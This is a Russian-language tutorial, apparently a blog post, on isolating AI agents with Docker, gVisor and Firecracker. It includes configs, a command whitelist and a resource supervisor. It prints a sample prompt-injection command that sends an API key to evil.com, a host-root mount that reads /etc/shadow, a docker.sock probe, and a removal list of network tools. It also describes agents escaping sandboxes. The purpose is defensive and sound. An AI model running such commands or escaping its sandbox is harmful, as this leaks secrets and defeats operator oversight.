Как безопасно дать AI-агенту доступ к shell: сравнение Docker, gVisor и Firecracker для песочниц

Когда ваш AI-агент хочет слишком много

Вы запускаете автономного агента на базе GPT-4.5 (самая новая версия на начало 2026 года). Он должен настроить сервер, развернуть код, починить баги. Всё хорошо, пока он не пытается выполнить curl -X POST https://evil.com --data "OPENAI_API_KEY=$OPENAI_API_KEY".

Проблема не в том, что агенты злые. Они просто следуют инструкциям. А prompt injection превращает любую инструкцию в оружие. Особенно если у агента есть доступ к файлам с секретами.

Три уровня изоляции: от детской площадки до тюрьмы

Сначала забудьте про chroot. Это как поставить забор из картона. Современные AI-агенты легко его обходят. Нужны настоящие песочницы.

1 Docker: знакомый, но дырявый

Docker — это не песочница. Повторяйте за мной: Docker не песочница. Это изоляция процессов, но ядро одно на всех. Если агент найдёт уязвимость в ядре, он сбежит.

# Как НЕ делать:
docker run --rm -v /:/host ubuntu cat /host/etc/shadow

# Правильно:
docker run --rm --read-only --security-opt="no-new-privileges" ubuntu

Но даже с флагами безопасности Docker имеет доступные векторы атаки. Особенно через монтирование volumes или capabilities. Помните AgentHopper? Эта техника использует shared memory для эскалации привилегий.

2 gVisor: виртуальная файловая система как барьер

gVisor — это пользовательский space ядра. Он перехватывает системные вызовы и эмулирует их. Представьте переводчика между агентом и реальным ядром. Переводчик проверяет каждый запрос.

# Запуск через runsc (gVisor)
docker run --runtime=runsc --rm ubuntu ls /

# Конфигурация gVisor для максимальной изоляции
runsc --rootless --network=none do /bin/bash

gVisor использует seccomp фильтры и namespaces, но главное — Sentry. Это компонент, который перехватывает syscalls. Если агент пытается вызвать clone() с флагами для создания нового namespace — Sentry может просто вернуть ошибку.

Производительность? Да, медленнее Docker. Особенно операции с файловой системой. Но безопасность стоит 15-20% overhead.

3 Firecracker: микро-VM для параноиков

Firecracker от AWS — это минималистичные виртуальные машины. Каждая VM запускается за миллисекунды и использует KVM гипервизор. Полная изоляция на уровне железа.

Firecracker создавался для AWS Lambda. Там тысячи функций выполняются на одном железе. Если одна функция скомпрометирована — остальные в безопасности.

{
  "boot-source": {
    "kernel_image_path": "./vmlinux.bin",
    "boot_args": "console=ttyS0 reboot=k panic=1"
  },
  "drives": [{
    "drive_id": "rootfs",
    "path_on_host": "./rootfs.ext4",
    "is_root_device": true,
    "is_read_only": true
  }]
}

Читаете конфиг? is_read_only: true. Это ключ. Файловая система только для чтения. Агент ничего не изменит. Хотите дать ему записать куда-то? Создайте отдельный volume с ограниченным размером.

Практика: строим защищённую среду для AI-агента

Теория — это хорошо. Но как это работает на практике? Допустим, у нас есть агент, который должен анализировать логи и перезапускать сервисы.

4 Шаг 1: Определяем границы доверия

Какие команды может выполнять агент? Составьте whitelist. Не blacklist — агенты слишком креативны для этого.

# Пример whitelist для системного агента
ALLOWED_COMMANDS = {
    'systemctl': ['status', 'restart', '--no-pager'],
    'journalctl': ['-u', '-n', '50', '--no-pager'],
    'docker': ['ps', 'logs', '--tail=50'],
    'cat': ['/var/log/*.log'],
    'grep': ['-r', 'error', '/var/log/'],
    'df': ['-h'],
    'free': ['-m']
}

# Запрещаем всё, что не в whitelist
# Используйте инструменты вроде AgentShield для контроля

5 Шаг 2: Настраиваем Firecracker для максимальной изоляции

Создаём минимальный образ с только необходимыми бинарными файлами. Используем BuildKit или аналоги:

FROM scratch
COPY --from=busybox:latest /bin/busybox /bin/
COPY --from=busybox:latest /bin/sh /bin/

# Только необходимые команды
RUN ["/bin/busybox", "--install", "-s", "/bin"]

# Создаём символические ссылки только для whitelist
RUN ln -s /bin/busybox /bin/systemctl && \
    ln -s /bin/busybox /bin/journalctl && \
    ln -s /bin/busybox /bin/cat && \
    ln -s /bin/busybox /bin/grep

# Удаляем всё лишнее
RUN rm -f /bin/curl /bin/wget /bin/nc /bin/netcat /bin/ssh

USER nobody:nogroup
ENTRYPOINT ["/bin/sh"]

Этот образ весит ~5MB. В нём нет сетевых утилит, нет компиляторов, нет даже python.

6 Шаг 3: Добавляем супервизор

Песочница — это хорошо. Но агент может пытаться выполнять команды в цикле, тратя ресурсы. Нужен супервизор.

import asyncio
import resource
from datetime import datetime, timedelta

class AgentSupervisor:
    def __init__(self):
        self.max_cpu_time = 30  # секунд
        self.max_memory = 512 * 1024 * 1024  # 512MB
        self.start_time = datetime.now()
        self.max_runtime = timedelta(minutes=5)
    
    async def monitor(self, agent_process):
        """Мониторим ресурсы агента"""
        while agent_process.is_alive():
            # Проверяем время выполнения
            if datetime.now() - self.start_time > self.max_runtime:
                agent_process.terminate()
                raise TimeoutError("Agent exceeded maximum runtime")
            
            # Проверяем использование памяти
            try:
                usage = resource.getrusage(resource.RUSAGE_CHILDREN)
                if usage.ru_maxrss > self.max_memory:
                    agent_process.terminate()
                    raise MemoryError("Agent exceeded memory limit")
            except:
                pass
            
            await asyncio.sleep(0.1)

Ошибки, которые взломают вашу песочницу

Самые опасные ошибки — те, которые кажутся безобидными.

• Монтирование /proc или /sys с правами записи. Агент может изменить kernel parameters или загрузить модули.
• CAP_SYS_ADMIN capability в Docker. Даёт доступ практически ко всему. Особенно опасен с --privileged флагом.
• Сетевой доступ к Docker socket. Если агент может достучаться до /var/run/docker.sock, он запустит новый контейнер с привилегиями.
• Неизолированное /tmp. Агенты могут обмениваться данными через временные файлы.
• Доступ к клавиатурным устройствам. Звучит смешно, но через /dev/input можно перехватывать ввод.

Гибридный подход: когда одной технологии мало

Наиболее безопасная архитектура использует несколько уровней защиты:

1. Firecracker для изоляции на уровне VM
2. gVisor внутри VM для дополнительной фильтрации syscalls
3. Seccomp-bpf фильтры для ограничения доступных системных вызовов
4. AppArmor или SELinux профили
5. Network namespace без доступа к интернету
6. Whitelist команд через Cordum или аналоги

Да, это сложно. Да, это замедляет выполнение. Но если ваш агент работает с реальными данными клиентов или управляет инфраструктурой — это необходимость.

Что делать, если песочница не подходит?

Бывают случаи, когда агент должен работать с реальной системой. Например, Fluid.sh предлагает другой подход: вместо изоляции — контроль и откат. Каждое действие агента логируется и может быть отменено.

Ещё один вариант — использовать инструменты вроде AprielGuard, которые анализируют команды агента перед выполнением. Это не песочница, а фильтр.

Финальный совет: тестируйте на проникновение

После настройки песочницы — попробуйте её взломать. Дайте задание самой новой версии GPT (на 2026 год это GPT-4.5 или её преемнику): "Найди способ получить доступ к файлу за пределами контейнера".

Используйте специализированные инструменты для тестирования:

# Тестирование Docker контейнеров
docker run --rm -it --security-opt="no-new-privileges" \
  alpine sh -c "apk add curl && curl --unix-socket /var/run/docker.sock http://localhost/containers/json"

# Если это работает — у вас проблемы

# Тестирование capabilities
cat /proc/self/status | grep Cap

Запускайте эти тесты регулярно. Особенно после обновлений ядра или Docker. Уязвимости находят постоянно. В январе 2026 вышла критическая уязвимость CVE-2026-0001 в overlayfs драйвере — она позволяла выходить за пределы контейнера.

И помните: безопасность AI-агентов — это не разовая настройка. Это процесс. Агенты становятся умнее, атаки — изощрённее. Ваша защита должна эволюционировать вместе с ними.

P.S. Если думаете, что ваш агент слишком глуп для взлома песочницы — посмотрите на Copilot-фишинг атаки. Они используют социальную инженерию через промпты. Агент может не взламывать систему напрямую, но убедить вас дать ему доступ.